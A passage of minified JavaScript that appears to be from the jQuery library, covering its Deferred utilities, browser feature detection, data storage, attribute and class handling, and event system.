a=f=n=t,this},disabled:function(){return!a},lock:function(){return f=t,n||c.disable(),this},locked:function(){return!f},fireWith:function(e,t){return t=t||[],t=[e,t.slice?t.slice():t],a&&(!r||f)&&(i?f.push(t):l(t)),this},fire:function(){return c.fireWith(this,arguments),this},fired:function(){return!!r}};return c},v.extend({Deferred:function(e){var t=[["resolve","done",v.Callbacks("once memory"),"resolved"],["reject","fail",v.Callbacks("once memory"),"rejected"],["notify","progress",v.Callbacks("memory")]],n="pending",r={state:function(){return n},always:function(){return i.done(arguments).fail(arguments),this},then:function(){var e=arguments;return v.Deferred(function(n){v.each(t,function(t,r){var s=r[0],o=e[t];i[r[1]](v.isFunction(o)?function(){var e=o.apply(this,arguments);e&&v.isFunction(e.promise)?e.promise().done(n.resolve).fail(n.reject).progress(n.notify):n[s+"With"](this===i?n:this,[e])}:n[s])}),e=null}).promise()},promise:function(e){return e!=null?v.extend(e,r):r}},i={};return r.pipe=r.then,v.each(t,function(e,s){var o=s[2],u=s[3];r[s[1]]=o.add,u&&o.add(function(){n=u},t[e^1][2].disable,t[2][2].lock),i[s[0]]=o.fire,i[s[0]+"With"]=o.fireWith}),r.promise(i),e&&e.call(i,i),i},when:function(e){var t=0,n=l.call(arguments),r=n.length,i=r!==1||e&&v.isFunction(e.promise)?r:0,s=i===1?e:v.Deferred(),o=function(e,t,n){return function(r){t[e]=this,n[e]=arguments.length>1?l.call(arguments):r,n===u?s.notifyWith(t,n):--i||s.resolveWith(t,n)}},u,a,f;if(r>1){u=new Array(r),a=new Array(r),f=new Array(r);for(;t<r;t++)n[t]&&v.isFunction(n[t].promise)?n[t].promise().done(o(t,f,n)).fail(s.reject).progress(o(t,a,u)):--i}return i||s.resolveWith(f,n),s.promise()}}),v.support=function(){var t,n,r,s,o,u,a,f,l,c,h,p=i.createElement("div");p.setAttribute("className","t"),p.innerHTML="  <link/><table></table><a href='/a'>a</a><input type='checkbox'/>",n=p.getElementsByTagName("*"),r=p.getElementsByTagName("a")[0];if(!n||!r||!n.length)return{};s=i.createElement("select"),o=s.appendChild(i.createElement("option")),u=p.getElementsByTagName("input")[0],r.style.cssText="top:1px;float:left;opacity:.5",t={leadingWhitespace:p.firstChild.nodeType===3,tbody:!p.getElementsByTagName("tbody").length,htmlSerialize:!!p.getElementsByTagName("link").length,style:/top/.test(r.getAttribute("style")),hrefNormalized:r.getAttribute("href")==="/a",opacity:/^0.5/.test(r.style.opacity),cssFloat:!!r.style.cssFloat,checkOn:u.value==="on",optSelected:o.selected,getSetAttribute:p.className!=="t",enctype:!!i.createElement("form").enctype,html5Clone:i.createElement("nav").cloneNode(!0).outerHTML!=="<:nav></:nav>",boxModel:i.compatMode==="CSS1Compat",submitBubbles:!0,changeBubbles:!0,focusinBubbles:!1,deleteExpando:!0,noCloneEvent:!0,inlineBlockNeedsLayout:!1,shrinkWrapBlocks:!1,reliableMarginRight:!0,boxSizingReliable:!0,pixelPosition:!1},u.checked=!0,t.noCloneChecked=u.cloneNode(!0).checked,s.disabled=!0,t.optDisabled=!o.disabled;try{delete p.test}catch(d){t.deleteExpando=!1}!p.addEventListener&&p.attachEvent&&p.fireEvent&&(p.attachEvent("onclick",h=function(){t.noCloneEvent=!1}),p.cloneNode(!0).fireEvent("onclick"),p.detachEvent("onclick",h)),u=i.createElement("input"),u.value="t",u.setAttribute("type","radio"),t.radioValue=u.value==="t",u.setAttribute("checked","checked"),u.setAttribute("name","t"),p.appendChild(u),a=i.createDocumentFragment(),a.appendChild(p.lastChild),t.checkClone=a.cloneNode(!0).cloneNode(!0).lastChild.checked,t.appendChecked=u.checked,a.removeChild(u),a.appendChild(p);if(p.attachEvent)for(l in{submit:!0,change:!0,focusin:!0})f="on"+l,c=f in p,c||(p.setAttribute(f,"return;"),c=typeof p[f]=="function"),t[l+"Bubbles"]=c;return v(function(){var n,r,s,o,u="padding:0;margin:0;border:0;display:block;overflow:hidden;",a=i.getElementsByTagName("body")[0];if(!a)return;n=i.createElement("div"),n.style.cssText="visibility:hidden;border:0;width:0;height:0;position:static;top:0;margin-top:1px",a.insertBefore(n,a.firstChild),r=i.createElement("div"),n.appendChild(r),r.innerHTML="<table><tr><td></td><td>t</td></tr></table>",s=r.getElementsByTagName("td"),s[0].style.cssText="padding:0;margin:0;border:0;display:none",c=s[0].offsetHeight===0,s[0].style.display="",s[1].style.display="none",t.reliableHiddenOffsets=c&&s[0].offsetHeight===0,r.innerHTML="",r.style.cssText="box-sizing:border-box;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;padding:1px;border:1px;display:block;width:4px;margin-top:1%;position:absolute;top:1%;",t.boxSizing=r.offsetWidth===4,t.doesNotIncludeMarginInBodyOffset=a.offsetTop!==1,e.getComputedStyle&&(t.pixelPosition=(e.getComputedStyle(r,null)||{}).top!=="1%",t.boxSizingReliable=(e.getComputedStyle(r,null)||{width:"4px"}).width==="4px",o=i.createElement("div"),o.style.cssText=r.style.cssText=u,o.style.marginRight=o.style.width="0",r.style.width="1px",r.appendChild(o),t.reliableMarginRight=!parseFloat((e.getComputedStyle(o,null)||{}).marginRight)),typeof r.style.zoom!="undefined"&&(r.innerHTML="",r.style.cssText=u+"width:1px;padding:1px;display:inline;zoom:1",t.inlineBlockNeedsLayout=r.offsetWidth===3,r.style.display="block",r.style.overflow="visible",r.innerHTML="<div></div>",r.firstChild.style.width="5px",t.shrinkWrapBlocks=r.offsetWidth!==3,n.style.zoom=1),a.removeChild(n),n=r=s=o=null}),a.removeChild(p),n=r=s=o=u=a=p=null,t}();var D=/(?:\{[\s\S]*\}|\[[\s\S]*\])$/,P=/([A-Z])/g;v.extend({cache:{},deletedIds:[],uuid:0,expando:"jQuery"+(v.fn.jquery+Math.random()).replace(/\D/g,""),noData:{embed:!0,object:"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000",applet:!0},hasData:function(e){return e=e.nodeType?v.cache[e[v.expando]]:e[v.expando],!!e&&!B(e)},data:function(e,n,r,i){if(!v.acceptData(e))return;var s,o,u=v.expando,a=typeof n=="string",f=e.nodeType,l=f?v.cache:e,c=f?e[u]:e[u]&&u;if((!c||!l[c]||!i&&!l[c].data)&&a&&r===t)return;c||(f?e[u]=c=v.deletedIds.pop()||v.guid++:c=u),l[c]||(l[c]={},f||(l[c].toJSON=v.noop));if(typeof n=="object"||typeof n=="function")i?l[c]=v.extend(l[c],n):l[c].data=v.extend(l[c].data,n);return s=l[c],i||(s.data||(s.data={}),s=s.data),r!==t&&(s[v.camelCase(n)]=r),a?(o=s[n],o==null&&(o=s[v.camelCase(n)])):o=s,o},removeData:function(e,t,n){if(!v.acceptData(e))return;var r,i,s,o=e.nodeType,u=o?v.cache:e,a=o?e[v.expando]:v.expando;if(!u[a])return;if(t){r=n?u[a]:u[a].data;if(r){v.isArray(t)||(t in r?t=[t]:(t=v.camelCase(t),t in r?t=[t]:t=t.split(" ")));for(i=0,s=t.length;i<s;i++)delete r[t[i]];if(!(n?B:v.isEmptyObject)(r))return}}if(!n){delete u[a].data;if(!B(u[a]))return}o?v.cleanData([e],!0):v.support.deleteExpando||u!=u.window?delete u[a]:u[a]=null},_data:function(e,t,n){return v.data(e,t,n,!0)},acceptData:function(e){var t=e.nodeName&&v.noData[e.nodeName.toLowerCase()];return!t||t!==!0&&e.getAttribute("classid")===t}}),v.fn.extend({data:function(e,n){var r,i,s,o,u,a=this[0],f=0,l=null;if(e===t){if(this.length){l=v.data(a);if(a.nodeType===1&&!v._data(a,"parsedAttrs")){s=a.attributes;for(u=s.length;f<u;f++)o=s[f].name,o.indexOf("data-")||(o=v.camelCase(o.substring(5)),H(a,o,l[o]));v._data(a,"parsedAttrs",!0)}}return l}return typeof e=="object"?this.each(function(){v.data(this,e)}):(r=e.split(".",2),r[1]=r[1]?"."+r[1]:"",i=r[1]+"!",v.access(this,function(n){if(n===t)return l=this.triggerHandler("getData"+i,[r[0]]),l===t&&a&&(l=v.data(a,e),l=H(a,e,l)),l===t&&r[1]?this.data(r[0]):l;r[1]=n,this.each(function(){var t=v(this);t.triggerHandler("setData"+i,r),v.data(this,e,n),t.triggerHandler("changeData"+i,r)})},null,n,arguments.length>1,null,!1))},removeData:function(e){return this.each(function(){v.removeData(this,e)})}}),v.extend({queue:function(e,t,n){var r;if(e)return t=(t||"fx")+"queue",r=v._data(e,t),n&&(!r||v.isArray(n)?r=v._data(e,t,v.makeArray(n)):r.push(n)),r||[]},dequeue:function(e,t){t=t||"fx";var n=v.queue(e,t),r=n.length,i=n.shift(),s=v._queueHooks(e,t),o=function(){v.dequeue(e,t)};i==="inprogress"&&(i=n.shift(),r--),i&&(t==="fx"&&n.unshift("inprogress"),delete s.stop,i.call(e,o,s)),!r&&s&&s.empty.fire()},_queueHooks:function(e,t){var n=t+"queueHooks";return v._data(e,n)||v._data(e,n,{empty:v.Callbacks("once memory").add(function(){v.removeData(e,t+"queue",!0),v.removeData(e,n,!0)})})}}),v.fn.extend({queue:function(e,n){var r=2;return typeof e!="string"&&(n=e,e="fx",r--),arguments.length<r?v.queue(this[0],e):n===t?this:this.each(function(){var t=v.queue(this,e,n);v._queueHooks(this,e),e==="fx"&&t[0]!=="inprogress"&&v.dequeue(this,e)})},dequeue:function(e){return this.each(function(){v.dequeue(this,e)})},delay:function(e,t){return e=v.fx?v.fx.speeds[e]||e:e,t=t||"fx",this.queue(t,function(t,n){var r=setTimeout(t,e);n.stop=function(){clearTimeout(r)}})},clearQueue:function(e){return this.queue(e||"fx",[])},promise:function(e,n){var r,i=1,s=v.Deferred(),o=this,u=this.length,a=function(){--i||s.resolveWith(o,[o])};typeof e!="string"&&(n=e,e=t),e=e||"fx";while(u--)r=v._data(o[u],e+"queueHooks"),r&&r.empty&&(i++,r.empty.add(a));return a(),s.promise(n)}});var j,F,I,q=/[\t\r\n]/g,R=/\r/g,U=/^(?:button|input)$/i,z=/^(?:button|input|object|select|textarea)$/i,W=/^a(?:rea|)$/i,X=/^(?:autofocus|autoplay|async|checked|controls|defer|disabled|hidden|loop|multiple|open|readonly|required|scoped|selected)$/i,V=v.support.getSetAttribute;v.fn.extend({attr:function(e,t){return v.access(this,v.attr,e,t,arguments.length>1)},removeAttr:function(e){return this.each(function(){v.removeAttr(this,e)})},prop:function(e,t){return v.access(this,v.prop,e,t,arguments.length>1)},removeProp:function(e){return e=v.propFix[e]||e,this.each(function(){try{this[e]=t,delete this[e]}catch(n){}})},addClass:function(e){var t,n,r,i,s,o,u;if(v.isFunction(e))return this.each(function(t){v(this).addClass(e.call(this,t,this.className))});if(e&&typeof e=="string"){t=e.split(y);for(n=0,r=this.length;n<r;n++){i=this[n];if(i.nodeType===1)if(!i.className&&t.length===1)i.className=e;else{s=" "+i.className+" ";for(o=0,u=t.length;o<u;o++)s.indexOf(" "+t[o]+" ")<0&&(s+=t[o]+" ");i.className=v.trim(s)}}}return this},removeClass:function(e){var n,r,i,s,o,u,a;if(v.isFunction(e))return this.each(function(t){v(this).removeClass(e.call(this,t,this.className))});if(e&&typeof e=="string"||e===t){n=(e||"").split(y);for(u=0,a=this.length;u<a;u++){i=this[u];if(i.nodeType===1&&i.className){r=(" "+i.className+" ").replace(q," ");for(s=0,o=n.length;s<o;s++)while(r.indexOf(" "+n[s]+" ")>=0)r=r.replace(" "+n[s]+" "," ");i.className=e?v.trim(r):""}}}return this},toggleClass:function(e,t){var n=typeof e,r=typeof t=="boolean";return v.isFunction(e)?this.each(function(n){v(this).toggleClass(e.call(this,n,this.className,t),t)}):this.each(function(){if(n==="string"){var i,s=0,o=v(this),u=t,a=e.split(y);while(i=a[s++])u=r?u:!o.hasClass(i),o[u?"addClass":"removeClass"](i)}else if(n==="undefined"||n==="boolean")this.className&&v._data(this,"__className__",this.className),this.className=this.className||e===!1?"":v._data(this,"__className__")||""})},hasClass:function(e){var t=" "+e+" ",n=0,r=this.length;for(;n<r;n++)if(this[n].nodeType===1&&(" "+this[n].className+" ").replace(q," ").indexOf(t)>=0)return!0;return!1},val:function(e){var n,r,i,s=this[0];if(!arguments.length){if(s)return n=v.valHooks[s.type]||v.valHooks[s.nodeName.toLowerCase()],n&&"get"in n&&(r=n.get(s,"value"))!==t?r:(r=s.value,typeof r=="string"?r.replace(R,""):r==null?"":r);return}return i=v.isFunction(e),this.each(function(r){var s,o=v(this);if(this.nodeType!==1)return;i?s=e.call(this,r,o.val()):s=e,s==null?s="":typeof s=="number"?s+="":v.isArray(s)&&(s=v.map(s,function(e){return e==null?"":e+""})),n=v.valHooks[this.type]||v.valHooks[this.nodeName.toLowerCase()];if(!n||!("set"in n)||n.set(this,s,"value")===t)this.value=s})}}),v.extend({valHooks:{option:{get:function(e){var t=e.attributes.value;return!t||t.specified?e.value:e.text}},select:{get:function(e){var t,n,r=e.options,i=e.selectedIndex,s=e.type==="select-one"||i<0,o=s?null:[],u=s?i+1:r.length,a=i<0?u:s?i:0;for(;a<u;a++){n=r[a];if((n.selected||a===i)&&(v.support.optDisabled?!n.disabled:n.getAttribute("disabled")===null)&&(!n.parentNode.disabled||!v.nodeName(n.parentNode,"optgroup"))){t=v(n).val();if(s)return t;o.push(t)}}return o},set:function(e,t){var n=v.makeArray(t);return v(e).find("option").each(function(){this.selected=v.inArray(v(this).val(),n)>=0}),n.length||(e.selectedIndex=-1),n}}},attrFn:{},attr:function(e,n,r,i){var s,o,u,a=e.nodeType;if(!e||a===3||a===8||a===2)return;if(i&&v.isFunction(v.fn[n]))return v(e)[n](r);if(typeof e.getAttribute=="undefined")return v.prop(e,n,r);u=a!==1||!v.isXMLDoc(e),u&&(n=n.toLowerCase(),o=v.attrHooks[n]||(X.test(n)?F:j));if(r!==t){if(r===null){v.removeAttr(e,n);return}return o&&"set"in o&&u&&(s=o.set(e,r,n))!==t?s:(e.setAttribute(n,r+""),r)}return o&&"get"in o&&u&&(s=o.get(e,n))!==null?s:(s=e.getAttribute(n),s===null?t:s)},removeAttr:function(e,t){var n,r,i,s,o=0;if(t&&e.nodeType===1){r=t.split(y);for(;o<r.length;o++)i=r[o],i&&(n=v.propFix[i]||i,s=X.test(i),s||v.attr(e,i,""),e.removeAttribute(V?i:n),s&&n in e&&(e[n]=!1))}},attrHooks:{type:{set:function(e,t){if(U.test(e.nodeName)&&e.parentNode)v.error("type property can't be changed");else if(!v.support.radioValue&&t==="radio"&&v.nodeName(e,"input")){var n=e.value;return e.setAttribute("type",t),n&&(e.value=n),t}}},value:{get:function(e,t){return j&&v.nodeName(e,"button")?j.get(e,t):t in e?e.value:null},set:function(e,t,n){if(j&&v.nodeName(e,"button"))return j.set(e,t,n);e.value=t}}},propFix:{tabindex:"tabIndex",readonly:"readOnly","for":"htmlFor","class":"className",maxlength:"maxLength",cellspacing:"cellSpacing",cellpadding:"cellPadding",rowspan:"rowSpan",colspan:"colSpan",usemap:"useMap",frameborder:"frameBorder",contenteditable:"contentEditable"},prop:function(e,n,r){var i,s,o,u=e.nodeType;if(!e||u===3||u===8||u===2)return;return o=u!==1||!v.isXMLDoc(e),o&&(n=v.propFix[n]||n,s=v.propHooks[n]),r!==t?s&&"set"in s&&(i=s.set(e,r,n))!==t?i:e[n]=r:s&&"get"in s&&(i=s.get(e,n))!==null?i:e[n]},propHooks:{tabIndex:{get:function(e){var n=e.getAttributeNode("tabindex");return n&&n.specified?parseInt(n.value,10):z.test(e.nodeName)||W.test(e.nodeName)&&e.href?0:t}}}}),F={get:function(e,n){var r,i=v.prop(e,n);return i===!0||typeof i!="boolean"&&(r=e.getAttributeNode(n))&&r.nodeValue!==!1?n.toLowerCase():t},set:function(e,t,n){var r;return t===!1?v.removeAttr(e,n):(r=v.propFix[n]||n,r in e&&(e[r]=!0),e.setAttribute(n,n.toLowerCase())),n}},V||(I={name:!0,id:!0,coords:!0},j=v.valHooks.button={get:function(e,n){var r;return r=e.getAttributeNode(n),r&&(I[n]?r.value!=="":r.specified)?r.value:t},set:function(e,t,n){var r=e.getAttributeNode(n);return r||(r=i.createAttribute(n),e.setAttributeNode(r)),r.value=t+""}},v.each(["width","height"],function(e,t){v.attrHooks[t]=v.extend(v.attrHooks[t],{set:function(e,n){if(n==="")return e.setAttribute(t,"auto"),n}})}),v.attrHooks.contenteditable={get:j.get,set:function(e,t,n){t===""&&(t="false"),j.set(e,t,n)}}),v.support.hrefNormalized||v.each(["href","src","width","height"],function(e,n){v.attrHooks[n]=v.extend(v.attrHooks[n],{get:function(e){var r=e.getAttribute(n,2);return r===null?t:r}})}),v.support.style||(v.attrHooks.style={get:function(e){return e.style.cssText.toLowerCase()||t},set:function(e,t){return e.style.cssText=t+""}}),v.support.optSelected||(v.propHooks.selected=v.extend(v.propHooks.selected,{get:function(e){var t=e.parentNode;return t&&(t.selectedIndex,t.parentNode&&t.parentNode.selectedIndex),null}})),v.support.enctype||(v.propFix.enctype="encoding"),v.support.checkOn||v.each(["radio","checkbox"],function(){v.valHooks[this]={get:function(e){return e.getAttribute("value")===null?"on":e.value}}}),v.each(["radio","checkbox"],function(){v.valHooks[this]=v.extend(v.valHooks[this],{set:function(e,t){if(v.isArray(t))return e.checked=v.inArray(v(e).val(),t)>=0}})});var $=/^(?:textarea|input|select)$/i,J=/^([^\.]*|)(?:\.(.+)|)$/,K=/(?:^|\s)hover(\.\S+|)\b/,Q=/^key/,G=/^(?:mouse|contextmenu)|click/,Y=/^(?:focusinfocus|focusoutblur)$/,Z=function(e){return v.event.special.hover?e:e.replace(K,"mouseenter$1 mouseleave$1")};v.event={add:function(e,n,r,i,s){var o,u,a,f,l,c,h,p,d,m,g;if(e.nodeType===3||e.nodeType===8||!n||!r||!(o=v._data(e)))return;r.handler&&(d=r,r=d.handler,s=d.selector),r.guid||(r.guid=v.guid++),a=o.events,a||(o.events=a={}),u=o.handle,u||(o.handle=u=function(e){return typeof v=="undefined"||!!e&&v.event.triggered===e.type?t:v.event.dispatch.apply(u.elem,arguments)},u.elem=e),n=v.trim(Z(n)).split(" ");for(f=0;f<n.length;f++){l=J.exec(n[f])||[],c=l[1],h=(l[2]||"").split(".").sort(),g=v.event.special[c]||{},c=(s?g.delegateType:g.bindType)||c,g=v.event.special[c]||{},p=v.extend({type:c,origType:l[1],data:i,handler:r,guid:r.guid,selector:s,needsContext:s&&v.expr.match.needsContext.test(s),namespace:h.join(".")},d),m=a[c];if(!m){m=a[c]=[],m.delegateCount=0;if(!g.setup||g.setup.call(e,i,h,u)===!1)e.addEventListener?e.addEventListener(c,u,!1):e.attachEvent&&e.attachEvent("on"+c,u)}g.add&&(g.add.call(e,p),p.handler.guid||(p.handler.guid=r.guid)),s?m.splice(m.delegateCount++,0,p):m.push(p),v.event.global[c]=!0}e=null},global:{},remove:function(e,t,n,r,i){var s,o,u,a,f,l,c,h,p,d,m,g=v.hasData(e)&&v._data(e);if(!g||!(h=g.events))return;t=v.trim(Z(t||"")).split(" ");for(s=0;s<t.length;s++){o=J.exec(t[s])||[],u=a=o[1],f=o[2];if(!u){for(u in h)v.event.remove(e,u+t[s],n,r,!0);continue}p=v.event.special[u]||{},u=(r?p.delegateType:p.bindType)||u,d=h[u]||[],l=d.length,f=f?new RegExp("(^|\\.)"+f.split(".").sort().join("\\.(?:.*\\.|)")+"(\\.|$)"):null;for(c=0;c<d.length;c++)m=d[c],(i||a===m.origType)&&(!n||n.guid===m.guid)&&(!f||f.test(m.namespace))&&(!r||r===m.selector||r==="**"&&m.selector)&&(d.splice(c--,1),m.selector&&d.delegateCount--,p.remove&&p.remove.call(e,m));d.length===0&&l!==d.length&&((!p.teardown||p.teardown.call(e,f,g.handle)===!1)&&v.removeEvent(e,u,g.handle),delete h[u])}v.isEmptyObject(h)&&(delete g.handle,v.removeData(e,"events",!0))},customEvent:{getData:!0,setData:!0,changeData:!0},trigger:function(n,r,s,o){if(!s||s.nodeType!==3&&s.nodeType!==8){var u,a,f,l,c,h,p,d,m,g,y=n.type||n,b=[];if(Y.test(y+v.event.triggered))return;y.indexOf("!")>=0&&(y=y.slice(0,-1),a=!0),y.indexOf(".")>=0&&(b=y.split("."),y=b.shift(),b.sort());if((!s||v.event.customEvent[y])&&!v.event.global[y])return;n=typeof n=="object"?n[v.expando]?n:new v.Event(y,n):new v.Event(y),n.type=y,n.isTrigger=!0,n.exclusive=a,n.namespace=b.join("."),n.namespace_re=n.namespace?new RegExp("(^|\\.)"+b.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,h=y.indexOf(":")<0?"on"+y:"";if(!s){u=v.cache;for(f in u)u[f].events&&u[f].events[y]&&v.event.trigger(n,r,u[f].handle.elem,!0);return}n.result=t,n.target||(n.target=s),r=r!=null?v.makeArray(r):[],r.unshift(n),p=v.event.special[y]||{};if(p.trigger&&p.trigger.apply(s,r)===!1)return;m=[[s,p.bindType||y]];if(!o&&!p.noBubble&&!v.isWindow(s)){g=p.delegateType||y,l=Y.test(g+y)?s:s.parentNode;for(c=s;l;l=l.parentNode)m.push([l,g]),c=l;c===(s.ownerDocument||i)&&m.push([c.defaultView||c.parentWindow||e,g])}for(f=0;f<m.length&&!n.isPropagationStopped();f++)l=m[f][0],n.type=m[f][1],d=(v._data(l,"events")||{})[n.type]&&v._data(l,"handle"),d&&d.apply(l,r),d=h&&l[h],d&&v.acceptData(l)&&d.apply&&d.apply(l,r)===!1&&n.preventDefault();return n.type=y,!o&&!n.isDefaultPrevented()&&(!p._default||p._default.apply(s.ownerDocument,r)===!1)&&(y!=="click"||!v.nodeName(s,"a"))&&v.acceptData(s)&&h&&s[y]&&(y!=="focus"&&y!=="blur"||n.target.offsetWidth!==0)&&!v.isWindow(s)&&(c=s[h],c&&(s[h]=null),v.event.triggered=y,s[y](),v.event.triggered=t,c&&(s[h]=c)),n.result}return},dispatch:function(n){n=v.event.fix(n||e.event);var r,i,s,o,u,a,f,c,h,p,d=(v._data(this,"events")||{})[n.type]||[],m=d.delegateCount,g=l.call(arguments),y=!n.exclusive&&!n.namespace,b=v.event.special[n.type]||{},w=[];g[0]=n,n.delegateTarget=this;if(b.preDispatch&&b.preDispatch.call(this,n)===!1)return;if(m&&(!n.button||n.type!=="click"))for(s=n.target;s!=this;s=s.parentNode||this)if(s.disabled!==!0||n.type!=="click"){u={},f=[];for(r=0;r<m;r++)c=d[r],h=c.selector,u[h]===t&&(u[h]=c.needsContext?v(h,this).index(s)>=0:v.find(h,this,null,[s]).length),u[h]&&f.push(c);f.length&&w.push({elem:s,matches:f})}d.length>m&&w.push({elem:this,matches:d.slice(m)});for(r=0;r<w.length&&!n.isPropagationStopped();r++){a=w[r],n.currentTarget=a.elem;for(i=0;i<a.matches.length&&!n.isImmediatePropagationStopped();i++){c=a.matches[i];if(y||!n.namespace&&!c.namespace||n.namespace_re&&n.namespace_re.test(c.namespace))n.data=c.data,n.handleObj=c,o=((v.event.special[c.origType]||{}).handle||c.handler).apply(a.elem,g),o!==t&&(n.result=o,o===!1&&(n.preventDefault(),n.stopPropagation()))}}return b.postDispatch&&b.postDispatch.call(this,n),n.result},props:"attrChange attrName relatedNode srcElement altKey bubbles cancelable ctrlKey currentTarget eventPhase metaKey relatedTarget shiftKey target timeStamp view which".split(" "),fixHooks:{},keyHooks:{props:"char charCode key keyCode".split(" "),filter:function(e,t){return e.which==null&&(e.which=t.charCode!=null?t.charCode:t.keyCode),e}},mouseHooks:{props:"button buttons clientX clientY fromElement offsetX offsetY pageX pageY screenX screenY toElement".split(" "),filter:function(e,n){var r,s,o,u=n.button,a=n.fromElement;return e.pageX==null&&n.clientX!=null&&(r=e.target.ownerDocument||i,s=r.documentElement,o=r.body,e.pageX=n.clientX+(s&&s.scrollLeft||o&&o.scrollLeft||0)-(s&&s.clientLeft||o&&o.clientLeft||0),e.pageY=n.clientY+(s&&s.scrollTop||o&&o.scrollTop||0)-(s&&s.clientTop||o&&o.clientTop||0)),!e.relatedTarget&&a&&(e.relatedTarget=a===e.target?n.toElement:a),!e.which&&u!==t&&(e.which=u&1?1:u&2?3:u&4?2:0),e}},fix:function(e){if(e[v.expando])return e;var t,n,r=e,s=v.event.fixHooks[e.type]||{},o=s.props?this.props.concat(s.props):this.props;e=v.Event(r);for(t=o.length;t;)n=o[--t],e[n]=r[n];return e.target||(e.target=r.srcElement||i),e.target.nodeType===3&&(e.target=e.target.parentNode),e.metaKey=!!e.metaKey,s.filter?s.filter(e,r):e},special:{load:{noBubble:!0},focus:{delegateType:"focusin"},blur:{delegateType:"focusout"},beforeunload:{setup:function(e,t,n){v.isWindow(this)&&(this.onbeforeunload=n)},teardown:function(e,t){this.onbeforeunload===t&&(this.onbeforeunload=null)}}},simulate:function(e,t,n,r){var i=v.extend(new v.Event,n,{type:e,isSimulated:!0,originalEvent:{}});r?v.event.trigger(i,null,t):v.event.dispatch.call(t,i),i.isDefaultPrevented()&&n.preventDefault()}},v.event.handle=v.event.dispatch,v.removeEvent=i.removeEventListener?function(e,t,n){e.removeEventListener&&e.removeEventListener(t,n,!1)}:function(e,t,n){var r="on"+t;e.detachEvent&&(typeof e[r]=="undefined"&&(e[r]=null),e.detachEvent(r,n))},v.Event=function(e,t){if(!(this instanceof v.Event))return new v.Event(e,t);e&&e.type?(this.originalEvent=e,this.type=e.type,this.isDefaultPrevented=e.defaultPrevented||e.returnValue===!1||e.getPreventDefault&&e.getPreventDefault()?tt:et):this.type=e,t&&v.extend(this,t),this.timeStamp=e&&e.timeStamp||v.now(),this[v.expando]=!0},v.Event.prototype={preventDefault:function(){this.isDefaultPrevented=tt;var e=this.originalEvent;if(!e)return;e.preventDefault?e.preventDefault():e.returnValue=!1},stopPropagation:function(){this.isPropagationStopped=tt;var e=this.originalEvent;if(!e)return;e.stopPropagation&&e.stopPropagation(),e.cancelBubble=!0},stopImmediatePropagation:function(){this.isImmediatePropagationStopped=tt,this.stopPropagation()},isDefaultPrevented:et,isPropagationStopped:et,isImmediatePropagationStopped:et},v.each({mouseenter:"mouseover",mouseleave:"mouseout"},function(e,t){v.event.special[e]={delegateType:t,bindType:t,handle:function(e){var n,r=this,i=e.relatedTarget,s=e.handleObj,o=s.selector;if(!i||i!==r&&!v.contains(r,i))e.type=s.origType,n=s.handler.apply(this,arguments),e.type=t;return n}}}),v.support.submitBubbles||(v.event.special.submit={setup:function(){if(v.nodeName(this,"form"))return!1;v.event.add(this,"click._submit keypress._submit",function(e){var n=e.target,r=v.nodeName(n,"input")||v.nodeName(n,"button")?n.form:t;r&&!v._data(r,"_submit_attached")&&(v.event.add(r,"submit._submit",function(e){e._submit_bubble=!0}),v._data(r,"_submit_attached",!0))})},postDispatch:function(e){e._submit_bubble&&(delete e._submit_bubble,this.parentNode&&!e.isTrigger&&v.event.simulate("submit",this.parentNode,e,!0))},teardown:function(){if(v.nodeName(this,"form"))return!1;v.event.remove(this,"._submit")}}),v.support.changeBubbles||(v.event.special.change={setup:function(){if($.test(this.nodeName)){if(this.type==="checkbox"||this.type==="radio")v.event.add(this,"propertychange._change",function(e){e.originalEvent.propertyName==="checked"&&(this._just_changed=!0)}),v.event.add(this,"click._change",function(e){this._just_changed&&!e.isTrigger&&(this._just_changed=!1),v.event.simulate("change",this,e,!0)});return!1}v.event.add(this,"beforeactivate._change",function(e){var t=e.target;$.test(t.nodeName)&&!v._data(t,"_change_attached")&&(v.event.add(t,"change._change",function(e){this.parentNode&&!e.isSimulated&&!e.isTrigger&&v.event.simulate("change",this.parentNode,e,!0)}),v._data(t,"_change_attached",!0))})},handle:function(e){var t=e.target;if(this!==t||e.isSimulated||e.isTrigger||t.type!=="radio"&&t.type!=="checkbox")return e.handleObj.handler.apply(this,arguments)},teardown:function(){return v.event.remove(this,"._change"),!$.test(this.nodeName)}}),v.support.focusinBubbles||v.each({focus:"focusin",blur:"focusout"},function(e,t){var n=0,r=function(e){v.event.simulate(t,e.target,v.event.fix(e),!0)};v.event.special[t]={setup:function(){n++===0&&i.addEventListener(e,r,!0)},teardown:function(){--n===0&&i.removeEventListener(e,r,!0)}}}),v.fn.extend({on:function(e,n,r,i,s){var o,u;if(typeof e=="object"){typeof n!="string"&&(r=r||n,n=t);for(u in e)this.on(u,n,r,e[u],s);return this}r==null&&i==null?(i=n,r=n=t):i==null&&(typeof n=="string"?(i=r,r=t):(i=r,r=n,n=t));if(i===!1)i=et;else if(!i)return this;return s===1&&(o=i,i=function(e){return v().off(e),o.apply(this,arguments)},i.guid=o.guid||(o.guid=v.guid++)),this.each(function(){v.event.add(this,e,i,r,n)})},one:function(e,t,n,r){return this.on(e,t,n,r,1)},off:function(e,n,r){var i,s;if(e&&e.preventDefault&&e.handleObj)return i=e.handleObj,v(e.delegateTarget).off(i.namespace?i.origType+"."+i.namespace:i.origType,i.selector,i.handler),this;if(typeof e=="object"){for(s in e)this.off(s,n,e[s]);return this}if(n===!1||typeof n=="function")r=n,n=t;return r===!1&&(r=et),this.each(function(){v.event.remove(this,e,r,n)})},bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},live:function(e,t,n){return v(this.context).on(e,this.selector,t,n),this},die:function(e,t){return v(this.context).off(e,this.selector||"**",t),this},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return arguments.length===1?this.off(e,"**"):this.off(t,e||"**",n)},trigger:function(e,t){return this.each(function(){v.event.trigger(e,t,this)})},triggerHandler:function(e,t){if(this[0])return v.event.trigger(e,t,this[0],!0)},toggle:function(e){var t=arguments,n=e.guid||v.guid++,r=0,i=function(n){var i=(v._data(this,"lastToggle"+e.guid)||0)%r;return v._data(this,"lastToggle"+e.guid,i+1),n.preventDefault(),t[i].apply(this,arguments)||!1};i.guid=n;while(r<t.length)t[r++].guid=n;return this.click(i)},hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),v.each("blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup 